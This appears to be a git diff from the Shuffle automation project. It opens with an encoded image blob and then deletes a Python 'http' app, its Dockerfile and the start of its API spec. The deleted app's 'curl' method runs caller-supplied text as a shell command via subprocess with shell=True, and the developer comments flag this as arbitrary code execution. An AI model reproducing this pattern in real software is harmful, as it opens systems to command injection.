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 diff --git a/http/1.1.0/requirements.txt b/http/1.1.0/requirements.txt deleted file mode 100644 index ae3e5391..00000000 --- a/http/1.1.0/requirements.txt +++ /dev/null @@ -1,2 +0,0 @@ -uncurl==0.0.10 -requests==2.25.1 \ No newline at end of file diff --git a/http/1.1.0/src/app.py b/http/1.1.0/src/app.py deleted file mode 100755 index 6b7fcc87..00000000 --- a/http/1.1.0/src/app.py +++ /dev/null @@ -1,247 +0,0 @@ -import time -import json -import ast -import random -import socket -import uncurl -import asyncio -import requests -import subprocess - -from walkoff_app_sdk.app_base import AppBase - -class HTTP(AppBase): - __version__ = "1.0.0" - app_name = "http" - - def __init__(self, redis, logger, console_logger=None): - print("INIT") - """ - Each app should have this __init__ to set up Redis and logging. - :param redis: - :param logger: - :param console_logger: - """ - super().__init__(redis, logger, console_logger) - - # This is dangerously fun :) - # Do we care about arbitrary code execution here? - def curl(self, statement): - process = subprocess.Popen(statement, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, shell=True) - stdout = process.communicate() - item = "" - if len(stdout[0]) > 0: - print("Succesfully ran bash!") - item = stdout[0] - else: - print("FAILED to run bash!") - item = stdout[1] - - try: - ret = item.decode("utf-8") - return ret - except: - return item - - return item - #try: - # if not statement.startswith("curl "): - # statement = "curl %s" % statement - - # data = uncurl.parse(statement) - # request = eval(data) - # if isinstance(request, requests.models.Response): - # return request.text - # else: - # return "Unable to parse the curl parameter. Remember to start with curl " - #except: - # return "An error occurred during curl parsing" - - def splitheaders(self, headers): - parsed_headers = {} - if headers: - split_headers = headers.split("\n") - self.logger.info(split_headers) - for header in split_headers: - if ": " in header: - splititem = ": " - elif ":" in header: - splititem = ":" - elif "= " in header: - splititem = "= " - elif "=" in header: - splititem = "=" - else: - self.logger.info("Skipping header %s as its invalid" % header) - continue - - splitheader = header.split(splititem) - if len(splitheader) == 2: - parsed_headers[splitheader[0]] = splitheader[1] - else: - self.logger.info("Skipping header %s with split %s cus only one item" % (header, splititem)) - continue - - return parsed_headers - - def checkverify(self, verify): - if verify == None: - return False - elif verify: - return True - elif not verify: - return False - elif verify.lower().strip() == "false": - return False - else: - return True - - def checkbody(self, body): - # Indicates json - if body.strip().startswith("{"): - body = json.dumps(ast.literal_eval(body)) - - # Not sure if loading is necessary - # Seemed to work with plain string into data=body too, and not parsed json=body - #try: - # body = json.loads(body) - #except json.decoder.JSONDecodeError as e: - # return body - - return body - else: - return body - - def fix_url(self, url): - # Random bugs seen by users - if "hhttp" in url: - url = url.replace("hhttp", "http") - - if "http:/" in url and not "http://" in url: - url = url.replace("http:/", "http://", -1) - if "https:/" in url and not "https://" in url: - url = url.replace("https:/", "https://", -1) - if "http:///" in url: - url = url.replace("http:///", "http://", -1) - if "https:///" in url: - url = url.replace("https:///", "https://", -1) - if not "http://" in url and not "http" in url: - url = f"http://{url}" - - return url - - def GET(self, url, headers="", username="", password="", verify=True): - url = self.fix_url(url) - - parsed_headers = self.splitheaders(headers) - parsed_headers["User-Agent"] = "Shuffle Automation" - verify = self.checkverify(verify) - - auth=None - if username or password: - auth = requests.auth.HTTPBasicAuth(username, password) - - return requests.get(url, headers=parsed_headers, auth=auth, verify=verify).text - - def POST(self, url, headers="", body="", username="", password="", verify=True): - url = self.fix_url(url) - - parsed_headers = self.splitheaders(headers) - parsed_headers["User-Agent"] = "Shuffle Automation" - verify = self.checkverify(verify) - body = self.checkbody(body) - - auth=None - if username or password: - auth = requests.auth.HTTPBasicAuth(username, password) - - return requests.post(url, headers=parsed_headers, auth=auth, data=body, verify=verify).text - - # UNTESTED BELOW HERE - def PUT(self, url, headers="", body="", username="", password="", verify=True): - url = self.fix_url(url) - - parsed_headers = self.splitheaders(headers) - parsed_headers["User-Agent"] = "Shuffle Automation" - verify = self.checkverify(verify) - body = self.checkbody(body) - - auth=None - if username or password: - auth = requests.auth.HTTPBasicAuth(username, password) - - return requests.put(url, headers=parsed_headers, auth=auth, data=body, verify=verify).text - - def PATCH(self, url, headers="", body="", username="", password="", verify=True): - url = self.fix_url(url) - - parsed_headers = self.splitheaders(headers) - parsed_headers["User-Agent"] = "Shuffle Automation" - verify = self.checkverify(verify) - body = self.checkbody(body) - - auth=None - if username or password: - auth = requests.auth.HTTPBasicAuth(username, password) - - return requests.patch(url, headers=parsed_headers, data=body, auth=auth, verify=verify).text - - def DELETE(self, url, headers="", body="", username="", password="", verify=True): - url = self.fix_url(url) - - parsed_headers = self.splitheaders(headers) - parsed_headers["User-Agent"] = "Shuffle Automation" - verify = self.checkverify(verify) - - auth=None - if username or password: - auth = requests.auth.HTTPBasicAuth(username, password) - - return requests.delete(url, headers=parsed_headers, auth=auth, verify=verify).text - - def HEAD(self, url, headers="", body="", username="", password="", verify=True): - url = self.fix_url(url) - - parsed_headers = self.splitheaders(headers) - parsed_headers["User-Agent"] = "Shuffle Automation" - verify = self.checkverify(verify) - body = self.checkbody(body) - - auth=None - if username or password: - auth = requests.auth.HTTPBasicAuth(username, password) - - return requests.head(url, headers=parsed_headers, auth=auth, verify=verify).text - - def OPTIONS(self, url, headers="", body="", username="", password="", verify=True): - url = self.fix_url(url) - - parsed_headers = self.splitheaders(headers) - parsed_headers["User-Agent"] = "Shuffle Automation" - verify = self.checkverify(verify) - body = self.checkbody(body) - - auth=None - if username or password: - auth = requests.auth.HTTPBasicAuth(username, password) - - return requests.options(url, headers=parsed_headers, auth=auth, verify=verify).text - - -# Run the actual thing after we've checked params -def run(request): - print("Starting cloud!") - action = request.get_json() - print(action) - print(type(action)) - authorization_key = action.get("authorization") - current_execution_id = action.get("execution_id") - - if action and "name" in action and "app_name" in action: - HTTP.run(action) - return f'Attempting to execute function {action["name"]} in app {action["app_name"]}' - else: - return f'Invalid action' - -if __name__ == "__main__": - HTTP.run() diff --git a/http/1.2.0/Dockerfile b/http/1.2.0/Dockerfile deleted file mode 100644 index 9bbc5110..00000000 --- a/http/1.2.0/Dockerfile +++ /dev/null @@ -1,27 +0,0 @@ -# Base our app image off of the WALKOFF App SDK image -FROM frikky/shuffle:app_sdk as base - -# We're going to stage away all of the bloat from the build tools so lets create a builder stage -FROM base as builder - -# Install all alpine build tools needed for our pip installs -RUN apk --no-cache add --update alpine-sdk libffi libffi-dev musl-dev openssl-dev - -# Install all of our pip packages in a single directory that we can copy to our base image later -RUN mkdir /install -WORKDIR /install -COPY requirements.txt /requirements.txt -RUN pip install --prefix="/install" -r /requirements.txt - -# Switch back to our base image and copy in all of our built packages and source code -FROM base -COPY --from=builder /install /usr/local -COPY src /app -RUN apk add curl - -# Install any binary dependencies needed in our final image -# RUN apk --no-cache add --update my_binary_dependency - -# Finally, lets run our app! -WORKDIR /app -CMD python app.py --log-level DEBUG diff --git a/http/1.2.0/api.yaml b/http/1.2.0/api.yaml deleted file mode 100644 index 65e22188..00000000 --- a/http/1.2.0/api.yaml +++ /dev/null @@ -1,522 +0,0 @@ -walkoff_version: 1.2.0 -app_version: 1.2.0 -name: http -description: HTTP app -tags: - - Testing - - HTTP -categories: - - Testing - - HTTP -contact_info: - name: "@frikkylikeme" - url: https://github.com/frikky - email: "frikky@shuffler.io" -actions: - - name: GET - description: Runs a GET request towards the 